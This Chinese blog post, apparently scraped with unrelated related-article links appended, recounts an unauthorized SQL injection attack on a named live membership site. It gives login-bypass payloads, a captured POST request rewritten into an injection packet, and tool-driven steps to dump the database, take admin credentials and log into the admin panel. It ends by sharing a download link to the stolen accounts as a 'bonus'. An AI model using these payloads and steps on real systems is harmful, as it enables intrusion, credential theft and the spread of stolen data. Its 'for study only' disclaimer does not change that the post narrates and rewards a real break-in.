刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。


本文仅供学习交流,目的是为了构建更加安全的网络环境!

注入地址

某VIP会员专用系统 http://www.tcmpv.com/index.php/Home/Public/login.html

相关工具

注入工具:

超级SQL注入工具【SSQLInjection】http://www.shack2.org/article/1417357815.html

明小子

抓包工具:

Wireshark

注入过程

1.测试漏洞
 
1)测试 '
首先打开网页,如下图:

一看这种很low的系统就有可能存在漏洞

废话不多说,输入单引号" ' "进行测试:

输入单引号

测试结果

看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:

"我有漏洞,欢迎注入!"

2)测试 'or''='

进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图

输入" 'or''=' ",点确定

登录成功

不用密码,直接进去了,看来漏洞真的存在!

3)测试 3389' and 1=1 and 'a'='a

接下来测试下能不能使用注入语句,这里有两个选择:

  • 继续使用or语句
  • 找到真实密码

or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)

网页上直接给出了获取密码的方式:

加群,拿到密码:3389

构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:

再次成功登入,确认可以进行注入攻击。

接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了

手动猜测的具体方法可以参考这里:

sql注入实例分析http://www.cnblogs.com/leftshine/p/SQLInjection.html

当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。

2.构造数据包

因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。

1)手动构造:

根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……

2)抓包构造

这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!

这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析http://www.cnblogs.com/leftshine/p/5698890.html

使用Wireshark抓取到的POST数据包内容如下:

POST /index.php/Home/Public/do_login.html HTTP/1.1

Host: www.tcmpv.com

Connection: keep-alive

Content-Length: 8

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://www.tcmpv.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://www.tcmpv.com/index.php/Home/Public/login.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1

key=3389

修改成注入使用的POST包:

POST /index.php/Home/Public/do_login.html HTTP/1.1

Referer: http://www.tcmpv.com/index.php/Home/Public/login.html

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Content-Length: 8

Host: www.tcmpv.com

Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1

key=3389<sEncode>%')#inject##<eEncode>

这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。

3.注入

其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。

配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:

正确返回网页信息

虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!

4.获取数据库信息

点击获取数据

获取数据

然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":

数据库信息一览无余

可以看到,确实有名为"tp_login"的表和"3389"这个密码。

接下来就可以随心所欲的获取数据了。

获取到的数据

获取到的管理员账号信息:

管理员账号信息

有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:

管理入口扫描

获取到了4个链接,挨个打开看,发现这个可以用:

http://www.tcmpv.com/index.php/Admin/Public/login.html

管理员登录

输入账号密码,登录

登录成功

登录成功,看到笑脸真是开心!

成功进入后台

成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……

至此,整个SQL注入成功完成!

福利(注入之后获取到的账号):----------------分割线---链接:https://eyun.baidu.com/s/3boCXbXl 密码:iqiyi

相关阅读:sql注入实例分析 | JSP使用过滤器防止SQL注入

记一次SQL注入实战的更多相关文章

  1. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  2. 攻防世界web进阶区(2)--记一次sql注入

    题目地址:http://111.198.29.45:56094 这是一道sql注入题. 试试1' order by 3#,发现页面显示正常,将3换为4时,页面报错,则说明含有3个字段. 接下来判断输出 ...

  3. SQL注入实战新手教程

    本文章仅用于网络安全交流学习,严禁用于非法用途,否则后果自负 一.如何批量找SQL注入(工具+资源都打包):http://www.liuwx.cn/post-149.html 1.SQL注入点搜索关键 ...

  4. 记某次sql注入绕过ids

    昨天测试sql注入,发现个站,存在ids,一个单引号直接拦截,无论我怎么编码都不行,怕不是废了.. 灵机一动 基础探测 /*'*/ 报错 /*''*/ 返回正常 是字符串类型. 先本地测试 返回所有 ...

  5. 记一次sql注入的解决方案

    点赞再看,养成习惯,微信搜索「小大白日志」关注这个搬砖人. 本文在公众号文章已同步,还有各种一线大厂面试原题.我的学习系列笔记. 今天业务提了个模糊查询,一听就知道这种问题有坑,肯定涉及到sql注入, ...

  6. (转载)sql注入实战 mysql篇

    出现的关键名词有: UNION  SELECT   load_file   hex 为了方便说明我们先创建两个表:hehe和heihei,很明显它们一个拥有2列属性,一个拥有3列属性 ======== ...

  7. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

  8. SQL注入(SQL Injection)案例和防御方案

    sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...

  9. SQL注入、占位符拼接符

    一.什么是SQL注入 官方: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意 ...

随机推荐

  1. 【CS】笔试常见题目

    网络 IP地址分类 常见网络协议 HTTP状态码 算法 排序问题总结 git git和svn的区别 git常用命令 git暂存区,工作区等 一.网络 1. IP地址分类: IP网络使用32位地址,以点 ...

  2. AJPFX:外汇的杠杆保证金是什么

    外汇杠杆和保证金两者有着密切的关系.杠杆越大,交易时所用的保证金就越少. 杠杆即为保证金可以缩小的倍数.例如在没有杠杆的情况下,做一手即10万的欧元兑美元货币对合约(现在价格是1.05821),您所需 ...

  3. Flask系列07--Flask中的CBV, 蓝图的CBV

    一.CBV使用 class base view 和django中类似 class Login(views.MethodView): # methods=["POST"," ...

  4. pika配置文件说明

    # Pika 端口 port : 9221 # pika进程数量,不建议超过核心数量,pika是多线程的 thread-num : 1 # Sync 线程数量 sync-thread-num : 6 ...

  5. java操作数据库的基本方法

    此次开发工具为eclipse,才有的数据库驱动是mysql-connector-java-5.1.8-bin.jar 第一步,在eclipse的工程目录中引用mysql驱动 驱动下载地址:https: ...

  6. 《deep sort》复现过程

    目录 1. 准备代码与数据 deep_sort开源代码 克隆到本地服务器 git clone https://github.com/nwojke/deep_sort.git 下载MOT16数据集(MO ...

  7. 【从0到1学Web前端】CSS定位问题二(float和display的使用) 分类: HTML+CSS 2015-05-28 22:03 812人阅读 评论(1) 收藏

    display 属性规定元素应该生成的框的类型. 这个属性用于定义建立布局时元素生成的显示框类型.对于 HTML 等文档类型,如果使用 display 不谨慎会很危险,因为可能违反 HTML 中已经定 ...

  8. Android Design Support Library——Navigation View

    前沿 Android 从5.0开始引入了Material design元素的设计,这种新的设计语言让整个安卓的用户体验焕然一新,google在Android Design Support Librar ...

  9. Vue笔记:封装 axios 为插件使用

    前言 自从Vue2.0推荐大家使用 axios 开始,axios 被越来越多的人所了解.使用axios发起一个请求对大家来说是比较简单的事情,但是axios没有进行封装复用,项目越来越大,引起的代码冗 ...

  10. tensorflow 在同一个GPU同时加载多张相同的图

    saver = self.tf_instance.train.Saver() self.sess = self.tf_instance.Session(config=sess_config, grap ...